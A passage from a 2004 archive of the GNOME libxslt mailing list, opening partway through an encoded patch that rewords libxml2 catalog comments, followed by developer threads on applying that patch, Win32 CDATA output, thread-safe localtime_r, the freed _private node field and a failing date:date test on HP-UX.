bGljIElEDQogICAqDQohICAqIFJldHVybnMgdGhlIHN5c3RlbSBJRCBpZiBm b3VuZCBvciBOVUxMIG90aGVyd2lzZSwgdGhlIHZhbHVlIHJldHVybmVkDQog ICAqICAgICAgbXVzdCBiZSBmcmVlZCBieSB0aGUgY2FsbGVyLg0KICAgKi8N CiAgeG1sQ2hhciAqDQotLS0gMzA4MiwzMDkwIC0tLS0NCiAgICogeG1sQ2F0 YWxvZ1Jlc29sdmVQdWJsaWM6DQogICAqIEBwdWJJRDogIHRoZSBwdWJsaWMg SUQgc3RyaW5nDQogICAqDQohICAqIFRyeSB0byBsb29rdXAgdGhlIGNhdGFs b2cgcmVmZXJlbmNlIGFzc29jaWF0ZWQgdG8gYSBwdWJsaWMgSUQNCiAgICoN CiEgICogUmV0dXJucyB0aGUgcmVzb3VyY2UgaWYgZm91bmQgb3IgTlVMTCBv dGhlcndpc2UsIHRoZSB2YWx1ZSByZXR1cm5lZA0KICAgKiAgICAgIG11c3Qg YmUgZnJlZWQgYnkgdGhlIGNhbGxlci4NCiAgICovDQogIHhtbENoYXIgKg0K KioqKioqKioqKioqKioqDQoqKiogMzQ5NiwzNTA1ICoqKioNCiAgICogeG1s Q2F0YWxvZ0dldFN5c3RlbToNCiAgICogQHN5c0lEOiAgdGhlIHN5c3RlbSBJ RCBzdHJpbmcNCiAgICoNCiEgICogVHJ5IHRvIGxvb2t1cCB0aGUgc3lzdGVt IElEIGFzc29jaWF0ZWQgdG8gYSBwdWJsaWMgSUQNCiAgICogREVQUkVDQVRF RCwgdXNlIHhtbENhdGFsb2dSZXNvbHZlU3lzdGVtKCkNCiAgICoNCiEgICog UmV0dXJucyB0aGUgc3lzdGVtIElEIGlmIGZvdW5kIG9yIE5VTEwgb3RoZXJ3 aXNlLg0KICAgKi8NCiAgY29uc3QgeG1sQ2hhciAqDQogIHhtbENhdGFsb2dH ZXRTeXN0ZW0oY29uc3QgeG1sQ2hhciAqc3lzSUQpIHsNCi0tLSAzNDk2LDM1 MDUgLS0tLQ0KICAgKiB4bWxDYXRhbG9nR2V0U3lzdGVtOg0KICAgKiBAc3lz SUQ6ICB0aGUgc3lzdGVtIElEIHN0cmluZw0KICAgKg0KISAgKiBUcnkgdG8g bG9va3VwIHRoZSBjYXRhbG9nIHJlZmVyZW5jZSBhc3NvY2lhdGVkIHRvIGEg c3lzdGVtIElEDQogICAqIERFUFJFQ0FURUQsIHVzZSB4bWxDYXRhbG9nUmVz b2x2ZVN5c3RlbSgpDQogICAqDQohICAqIFJldHVybnMgdGhlIHJlc291cmNl IGlmIGZvdW5kIG9yIE5VTEwgb3RoZXJ3aXNlLg0KICAgKi8NCiAgY29uc3Qg eG1sQ2hhciAqDQogIHhtbENhdGFsb2dHZXRTeXN0ZW0oY29uc3QgeG1sQ2hh ciAqc3lzSUQpIHsNCioqKioqKioqKioqKioqKg0KKioqIDM1NDAsMzU0OSAq KioqDQogICAqIHhtbENhdGFsb2dHZXRQdWJsaWM6DQogICAqIEBwdWJJRDog IHRoZSBwdWJsaWMgSUQgc3RyaW5nDQogICAqDQohICAqIFRyeSB0byBsb29r dXAgdGhlIHN5c3RlbSBJRCBhc3NvY2lhdGVkIHRvIGEgcHVibGljIElEDQog ICAqIERFUFJFQ0FURUQsIHVzZSB4bWxDYXRhbG9nUmVzb2x2ZVB1YmxpYygp DQogICAqDQohICAqIFJldHVybnMgdGhlIHN5c3RlbSBJRCBpZiBmb3VuZCBv ciBOVUxMIG90aGVyd2lzZS4NCiAgICovDQogIGNvbnN0IHhtbENoYXIgKg0K ICB4bWxDYXRhbG9nR2V0UHVibGljKGNvbnN0IHhtbENoYXIgKnB1YklEKSB7 DQotLS0gMzU0MCwzNTQ5IC0tLS0NCiAgICogeG1sQ2F0YWxvZ0dldFB1Ymxp YzoNCiAgICogQHB1YklEOiAgdGhlIHB1YmxpYyBJRCBzdHJpbmcNCiAgICoN CiEgICogVHJ5IHRvIGxvb2t1cCB0aGUgY2F0YWxvZyByZWZlcmVuY2UgYXNz b2NpYXRlZCB0byBhIHB1YmxpYyBJRA0KICAgKiBERVBSRUNBVEVELCB1c2Ug eG1sQ2F0YWxvZ1Jlc29sdmVQdWJsaWMoKQ0KICAgKg0KISAgKiBSZXR1cm5z IHRoZSByZXNvdXJjZSBpZiBmb3VuZCBvciBOVUxMIG90aGVyd2lzZS4NCiAg ICovDQogIGNvbnN0IHhtbENoYXIgKg0KICB4bWxDYXRhbG9nR2V0UHVibGlj KGNvbnN0IHhtbENoYXIgKnB1YklEKSB7DQpkaWZmIC1jciBsaWJ4bWwyLTIu Ni43LW9yaWcvY29uZmlndXJlLmluIGxpYnhtbDItMi42LjcvY29uZmlndXJl LmluDQoqKiogbGlieG1sMi0yLjYuNy1vcmlnL2NvbmZpZ3VyZS5pbglNb24g RmViIDIzIDE3OjE5OjQxIDIwMDQNCi0tLSBsaWJ4bWwyLTIuNi43L2NvbmZp Z3VyZS5pbglNb24gRmViIDIzIDE3OjE5OjQxIDIwMDQNCioqKioqKioqKioq KioqKg0KKioqIDEwNTQsMTA1OSAqKioqDQogIGxuIC1zIENvcHlyaWdodCBD T1BZSU5HDQogIA0KICAjIGtlZXAgb24gb25lIGxpbmUgZm9yIGN5Z3dpbiBj LmYuICMxMzA4OTYNCiEgQUNfT1VUUFVUKGxpYnhtbDIuc3BlYzpsaWJ4bWwu c3BlYy5pbiBNYWtlZmlsZSBpbmNsdWRlL01ha2VmaWxlIGluY2x1ZGUvbGli eG1sL01ha2VmaWxlIGRvYy9NYWtlZmlsZSBkb2MvZXhhbXBsZXMvTWFrZWZp bGUgZXhhbXBsZS9NYWtlZmlsZSBweXRob24vTWFrZWZpbGUgcHl0aG9uL3Rl c3RzL01ha2VmaWxlIGluY2x1ZGUvbGlieG1sL3htbHZlcnNpb24uaCB4bWwy LWNvbmZpZyBsaWJ4bWwtMi4wLnBjIGxpYnhtbC0yLjAtdW5pbnN0YWxsZWQu cGMgeG1sMkNvbmYuc2ggcHl0aG9uL3NldHVwLnB5KQ0KICANCiEgY2htb2Qg K3ggeG1sMi1jb25maWcgeG1sMkNvbmYuc2ggcHl0aG9uL3NldHVwLnB5DQot LS0gMTA1NCwxMDU5IC0tLS0NCiAgbG4gLXMgQ29weXJpZ2h0IENPUFlJTkcN CiAgDQogICMga2VlcCBvbiBvbmUgbGluZSBmb3IgY3lnd2luIGMuZi4gIzEz MDg5Ng0KISBBQ19PVVRQVVQobGlieG1sMi5zcGVjOmxpYnhtbC5zcGVjLmlu IE1ha2VmaWxlIGluY2x1ZGUvTWFrZWZpbGUgaW5jbHVkZS9saWJ4bWwvTWFr ZWZpbGUgZG9jL01ha2VmaWxlIGRvYy9leGFtcGxlcy9NYWtlZmlsZSBleGFt cGxlL01ha2VmaWxlIHB5dGhvbi9NYWtlZmlsZSBweXRob24vdGVzdHMvTWFr ZWZpbGUgaW5jbHVkZS9saWJ4bWwveG1sdmVyc2lvbi5oIHhtbDItY29uZmln IGxpYnhtbC0yLjAucGMgbGlieG1sLTIuMC11bmluc3RhbGxlZC5wYyBweXRo b24vc2V0dXAucHkpDQogIA0KISBjaG1vZCAreCB4bWwyLWNvbmZpZyBweXRo b24vc2V0dXAucHkNCg== --1803957763-1883146335-1077712911=:7706-- From veillard@redhat.com Wed Feb 25 08:05:12 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 86BDA18250 for ; Wed, 25 Feb 2004 08:05:10 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1PD58b28445 for ; Wed, 25 Feb 2004 08:05:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1PD58i26245 for ; Wed, 25 Feb 2004 08:05:08 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1PD55eF031659 for ; Wed, 25 Feb 2004 08:05:05 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1PD55wi031657 for xslt@gnome.org; Wed, 25 Feb 2004 08:05:05 -0500 Date: Wed, 25 Feb 2004 08:05:05 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] libxml2-2.6.7/catalog.c -- various inconsistencies Message-ID: <20040225130505.GO31124@redhat.com> References: <20040221121723.GB18703@redhat.com> <20040224122254.GD31124@redhat.com> <20040225103528.GM31124@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Wed, Feb 25, 2004 at 01:41:51PM +0100, Peter Breitenlohner wrote: > On Wed, 25 Feb 2004, Daniel Veillard wrote: > > Can you send a patch for the remaining issues. Use diff -c to generate > > a contextual patch. > > > Hi Daniel, > > here is the patch. > > I hope I got all the 'catalog reference/ xs. 'catalog local reference' and > 'local resource' vs. 'resource' right. Please check. Okay, looks fine to me, applied and commited ! thanks, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From mpearce@digitas.com Wed Feb 25 13:51:52 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from NYCEXFE2.digitas.com (nycexfe2.digitas.com [216.115.181.81]) by mail.gnome.org (Postfix) with ESMTP id 02EDE1867F for ; Wed, 25 Feb 2004 13:51:52 -0500 (EST) Received: from EXLON1.digitas.com ([10.41.6.88]) by NYCEXFE2.digitas.com with Microsoft SMTPSVC(6.0.3790.0); Wed, 25 Feb 2004 13:51:58 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Wed, 25 Feb 2004 18:51:57 -0000 Message-ID: <7F8085BE0784364084B15C45C1F92B0A869C2B@EXLON1.digitas.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: xsltproc win32 newlines after cdata Thread-Index: AcP70HGoNcu1K2HtR82Dk03HXz2mcg== From: "Matthew Pearce" To: X-OriginalArrivalTime: 25 Feb 2004 18:51:58.0802 (UTC) FILETIME=[726CFB20:01C3FBD0] Subject: [xslt] xsltproc win32 newlines after cdata Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, =20 I developed stylesheets on linux using libxslt to help produce HTML = pages from XML markup. The build script used xsltproc to do the = transform.=20 =20 I don=B4t have access to the linux machine right now and I urgently need = to produce some pages, so I downloaded the Win32 port of libxslt.=20 =20 Because I am producing html which conforms only to the loose.dtd, I make = heavy use of CDATA sections in my stylesheets.=20 =20 However using the Win32 port of libxslt (xsltproc.exe) I find that the = outputted HTML has many, many newlines, it also converts the < and > to = their entity reference values. Why does this happen on Win32 and is = there a way to prevent this behaviour? Thankyou. =20 For example: =20 1)=20 =20 some text]]>=20 =20 generates =20 <div>some text</div> =20 2) ]]>some text]]> =20 generates =20 <div class=3D"footer- blue ">some text<div> =20 3)=20 =20 some link =20 =20 generates =20 some link=20 =20 =20 =20 I trust someone will be able to help. =20 Matthew =20 From wbrack@mmm.com.hk Thu Feb 26 03:50:52 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from delightful.com.hk (adsl-63-204-84-206.dsl.sktn01.pacbell.net [63.204.84.206]) by mail.gnome.org (Postfix) with ESMTP id 07B3718BCF for ; Thu, 26 Feb 2004 03:50:52 -0500 (EST) Received: from delightful.com.hk (localhost [127.0.0.1]) by delightful.com.hk (8.12.10/8.12.4) with SMTP id i1Q8oo8E023449 for ; Thu, 26 Feb 2004 00:50:50 -0800 Received: from 218.103.23.45 (SquirrelMail authenticated user wbrack) by www.delightful.com.hk with HTTP; Thu, 26 Feb 2004 16:50:50 +0800 (HKT) Message-ID: <2413.218.103.23.45.1077785450.squirrel@www.delightful.com.hk> Date: Thu, 26 Feb 2004 16:50:50 +0800 (HKT) From: "William M. Brack" To: xslt@gnome.org User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal Subject: [xslt] thread-safe function for libexslt Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: There is an outstanding bug report (http://bugzilla.gnome.org/show_bug.cgi?id=129983) requesting that the call within libexslt to the function "localtime" be changed to a call to "localtime_r" when libxslt is generated with threading enabled. That is certainly quite alright on my system, but I'm not certain whether it might have any "bad" effect on some other OS's. Does anyone have any good reason why I should not go ahead and commit this change? Bill From veillard@redhat.com Thu Feb 26 05:20:59 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id A8E181821E for ; Thu, 26 Feb 2004 05:20:58 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QAKwb00634 for ; Thu, 26 Feb 2004 05:20:58 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QAKv831220 for ; Thu, 26 Feb 2004 05:20:57 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1QAKteF018727 for ; Thu, 26 Feb 2004 05:20:55 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1QAKsSP018725 for xslt@gnome.org; Thu, 26 Feb 2004 05:20:54 -0500 Date: Thu, 26 Feb 2004 05:20:54 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] thread-safe function for libexslt Message-ID: <20040226102054.GF31124@redhat.com> References: <2413.218.103.23.45.1077785450.squirrel@www.delightful.com.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <2413.218.103.23.45.1077785450.squirrel@www.delightful.com.hk> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Thu, Feb 26, 2004 at 04:50:50PM +0800, William M. Brack wrote: > There is an outstanding bug report > (http://bugzilla.gnome.org/show_bug.cgi?id=129983) requesting that > the call within libexslt to the function "localtime" be changed to a > call to "localtime_r" when libxslt is generated with threading > enabled. That is certainly quite alright on my system, but I'm not > certain whether it might have any "bad" effect on some other OS's. > Does anyone have any good reason why I should not go ahead and > commit this change? Well, making 100% sure we test in configure that said function exists and of course the patch doesn't include that part which is where the hard part of implementing said change actually is. So if you add the test for localtime_r in configure.in, regenerate the config.h.in, add the proper #ifdef / #endif , then it will work. Of course applying the patch directly without testing for the platform support is just asking to get 10 times more bug reports at the next release. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From veillard@redhat.com Thu Feb 26 11:50:06 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 06E531819D; Thu, 26 Feb 2004 11:50:06 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QGo5b22440; Thu, 26 Feb 2004 11:50:05 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QGo5821122; Thu, 26 Feb 2004 11:50:05 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1QGo2eF014296; Thu, 26 Feb 2004 11:50:02 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1QGo2Jq014294; Thu, 26 Feb 2004 11:50:02 -0500 Date: Thu, 26 Feb 2004 11:50:02 -0500 From: Daniel Veillard To: xml@gnome.org Cc: xslt@gnome.org Message-ID: <20040226164957.GL31124@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Subject: [xslt] _private is now free again ! Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This message is mostly intended to people doing bindings or glueing the libraries into a more complex framework. There was part of the libxml2 and libxslt libraries which were using the _private field of nodes for the purpose of validation or transformations. I fixed this, now the library won't touch it anymore. It may still change the node by using the "psvi" field instead but at least this should not break bindings like Perl anymore. The changes are in CVS, so if you had troubles fighting with the libraries over _private , I suggest you checkout from CVS and see if things are fixed. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From pj@walter-graphtek.com Thu Feb 26 12:12:12 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from jessenlenz.com (mail.jessenlenz.com [212.79.192.34]) by mail.gnome.org (Postfix) with ESMTP id 8289218667 for ; Thu, 26 Feb 2004 12:12:12 -0500 (EST) Received: from SOFTDEV8 (217.81.72.122) by jessenlenz.com with ESMTP (Eudora Internet Mail Server 3.2.3); Thu, 26 Feb 2004 18:10:52 +0100 From: "Peter Jacobi" To: veillard@redhat.com Date: Thu, 26 Feb 2004 18:17:36 +0100 MIME-Version: 1.0 Cc: xslt@gnome.org Message-ID: <403E3840.24969.47ADA0@localhost> Priority: normal In-reply-to: <20040226164957.GL31124@redhat.com> X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Subject: [xslt] Re: [xml] _private is now free again ! Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Daniel, This makes this day's balance positive after some other problems I had. > This message is mostly intended to people doing bindings or > glueing the libraries into a more complex framework. There was > part of the libxml2 and libxslt libraries which were using > the _private field of nodes for the purpose of validation or > transformations. I fixed this, now the library won't touch it > anymore. Thank you very much for this cleanup! Peter Jacobi From chregu@bitflux.ch Thu Feb 26 12:16:20 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from bambi.bitflux.ch (bambi.bitflux.ch [212.71.97.156]) by mail.gnome.org (Postfix) with ESMTP id 7FD6518D18; Thu, 26 Feb 2004 12:16:19 -0500 (EST) Received: from localhost (reh [127.0.0.1]) by bambi.bitflux.ch (Postfix) with ESMTP id 829B67FE54; Thu, 26 Feb 2004 18:16:17 +0100 (CET) Received: from bambi.bitflux.ch ([127.0.0.1]) by localhost (bambi [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 07754-02-6; Thu, 26 Feb 2004 18:16:17 +0100 (CET) Received: from bitflux.ch (bx-109.bitflux.ch [212.71.98.109]) by bambi.bitflux.ch (Postfix) with ESMTP id 52CEF7FD36; Thu, 26 Feb 2004 18:16:17 +0100 (CET) Message-ID: <403E29E1.7050308@bitflux.ch> Date: Thu, 26 Feb 2004 18:16:17 +0100 From: Christian Stocker User-Agent: Mozilla Thunderbird 0.5 (Macintosh/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: veillard@redhat.com Cc: xml@gnome.org, xslt@gnome.org References: <20040226164957.GL31124@redhat.com> In-Reply-To: <20040226164957.GL31124@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at bitflux.ch Subject: [xslt] Re: [xml] _private is now free again ! Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On 2/26/04 5:50 PM, Daniel Veillard wrote: > This message is mostly intended to people doing bindings or > glueing the libraries into a more complex framework. There was > part of the libxml2 and libxslt libraries which were using > the _private field of nodes for the purpose of validation or > transformations. I fixed this, now the library won't touch it > anymore. It may still change the node by using the "psvi" field > instead but at least this should not break bindings like Perl > anymore. > The changes are in CVS, so if you had troubles fighting with > the libraries over _private , I suggest you checkout from CVS > and see if things are fixed. Cool. Thanks a lot for doing this. It will save us some unneeded document copies in PHP's XML Extensions then ;) chregu > > Daniel > -- christian stocker | Bitflux GmbH | schoeneggstrasse 5 | ch-8004 zurich phone +41 1 240 56 70 | mobile +41 76 561 88 60 | fax +41 1 240 56 71 http://www.bitflux.ch | chregu@bitflux.ch | gnupg-keyid 0x5CE1DECB From Bruno.Verachten@atosorigin.com Fri Feb 27 08:18:50 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from srv-grp-s01.axime.com (srv-grp-s01.axime.com [160.92.18.102]) by mail.gnome.org (Postfix) with ESMTP id 735C018BE4 for ; Fri, 27 Feb 2004 08:18:50 -0500 (EST) Received: from srv-grp-s07.dev.atos.fr ([172.18.100.68]) by srv-grp-s01.axime.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 27 Feb 2004 14:18:49 +0100 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Date: Fri, 27 Feb 2004 14:18:48 +0100 Message-ID: <8147E1B07201DD41B6B9F0D31E07B384026F286D@srv-grp-s07.dev.atos.fr> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [libxslt1.1.2] Problems with the date:date function Thread-Index: AcP9NEkSspkyxkHeTh2LuX5iEFefhw== From: "Verachten Bruno" To: X-OriginalArrivalTime: 27 Feb 2004 13:18:49.0273 (UTC) FILETIME=[3C906A90:01C3FD34] Subject: [xslt] [libxslt1.1.2] Problems with the date:date function Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, I posted a bug on bugzilla this morning, and Daniel Veillard told me to test several things before completing the bug report. I have a problem with the date:date function on a HP machine, and this problem doesn't seem to appear on other architectures (SunOs, = Linux, Cygwin). I just rebuilt the libxslt1.1.2 on the HP machine (HP-UX XXXXXX B.10.20 = A 9000/782), and the regression test failed : XXXXXX:xxxxxxxx> pwd ~/xml/libxslt-1.1.2/tests/exslt/date XXXXXX:xxxxxxxx> make test-current No suffix list. # # Inspect the following for correctness # xmlXPathCompOpEval: function date-time not found XPath error : Unregistered function xmlXPathCompiledEval: evaluation failed runtime error: file ./current.xsl line 10 element value-of xsltValueOf: text copy failed Current Date : year : NaN leap-year : NaN month-in-year : NaN month-name : month-abbreviation : week-in-year : NaN day-in-year : NaN day-in-month : NaN day-of-week-in-month : NaN day-in-week : NaN day-name : day-abbreviation : time : hour-in-day : NaN minute-in-hour : NaN second-in-minute : NaN no result for ./current.xml *** Error exit code 9 Stop. Does someone have an idea of anything I could do to solve the problem? Thanks, Bruno Verachten From cbozeman@hiwaay.net Fri Feb 27 08:44:06 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.hiwaay.net (ant.hiwaay.net [216.180.54.10]) by mail.gnome.org (Postfix) with ESMTP id 5922218D5E for ; Fri, 27 Feb 2004 08:43:48 -0500 (EST) Received: from ant.hiwaay.net (ant.hiwaay.net [216.180.54.10]) by mail.hiwaay.net (8.12.11/8.12.11) with ESMTP id i1RDhkEN898452 for ; Fri, 27 Feb 2004 07:43:47 -0600 (CST) Received: (from httpd@localhost) by ant.hiwaay.net (8.12.11/8.12.11/DefSubmit) id i1RDhk2h896463 for xslt@gnome.org; Fri, 27 Feb 2004 07:43:46 -0600 (CST) To: xslt@gnome.org Subject: Re: [xslt] [libxslt1.1.2] Problems with the date:date function Message-ID: <1077889426.403f4992aac04@mail.hiwaay.net> Date: Fri, 27 Feb 2004 07:43:46 -0600 (CST) From: cbozeman@hiwaay.net References: <8147E1B07201DD41B6B9F0D31E07B384026F286D@srv-grp-s07.dev.atos.fr> In-Reply-To: <8147E1B07201DD41B6B9F0D31E07B384026F286D@srv-grp-s07.dev.atos.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.8 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: The configure scripts have to fine time, localtime, and gmtime in order for the code to determine the current time. Check the output of configure to see why you are missing one or more of these. The relevant code is in libexslt/date.c. Quoting Verachten Bruno : > Hi, > > I posted a bug on bugzilla this morning, and Daniel Veillard told me > to test several things before completing the bug report. > I have a problem with the date:date function on a HP machine, and > this problem doesn't seem to appear on other architectures (SunOs, > Linux, > Cygwin). > I just rebuilt the libxslt1.1.2 on the HP machine (HP-UX XXXXXX B.10.20 > A 9000/782), > and the regression test failed : > XXXXXX:xxxxxxxx> pwd > ~/xml/libxslt-1.1.2/tests/exslt/date > > XXXXXX:xxxxxxxx> make test-current > No suffix list. > # > # Inspect the following for correctness > # > xmlXPathCompOpEval: function date-time not found > XPath error : Unregistered function > xmlXPathCompiledEval: evaluation failed > runtime error: file ./current.xsl line 10 element value-of > xsltValueOf: text copy failed > Current Date : > year : NaN > leap-year : NaN > month-in-year : NaN > month-name : > month-abbreviation : > week-in-year : NaN > day-in-year : NaN > day-in-month : NaN > day-of-week-in-month : NaN > day-in-week : NaN > day-name : > day-abbreviation : > time : > hour-in-day : NaN > minute-in-hour : NaN > second-in-minute : NaN > no result for ./current.xml > *** Error exit code 9 > > Stop. > > Does someone have an idea of anything I could do to solve the problem? > Thanks, > > Bruno Verachten > _______________________________________________ > xslt mailing list, project page http://xmlsoft.org/XSLT/ > xslt@gnome.org > http://mail.gnome.org/mailman/listinfo/xslt > > From Bruno.Verachten@atosorigin.com Fri Feb 27 08:57:24 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from srv-grp-s01.axime.com (srv-grp-s01.axime.com [160.92.18.102]) by mail.gnome.org (Postfix) with ESMTP id 5719A18329 for ; Fri, 27 Feb 2004 08:57:23 -0500 (EST) Received: from srv-grp-s07.dev.atos.fr ([172.18.100.68]) by srv-grp-s01.axime.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 27 Feb 2004 14:57:22 +0100 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [xslt] [libxslt1.1.2] Problems with the date:date function X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Date: Fri, 27 Feb 2004 14:57:21 +0100 Message-ID: <8147E1B07201DD41B6B9F0D31E07B38402E88E22@srv-grp-s07.dev.atos.fr> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [xslt] [libxslt1.1.2] Problems with the date:date function Thread-Index: AcP9OAycWxRs5wCwT9Gl5/Y5xMX9FgAAXe/w From: "Verachten Bruno" To: X-OriginalArrivalTime: 27 Feb 2004 13:57:22.0835 (UTC) 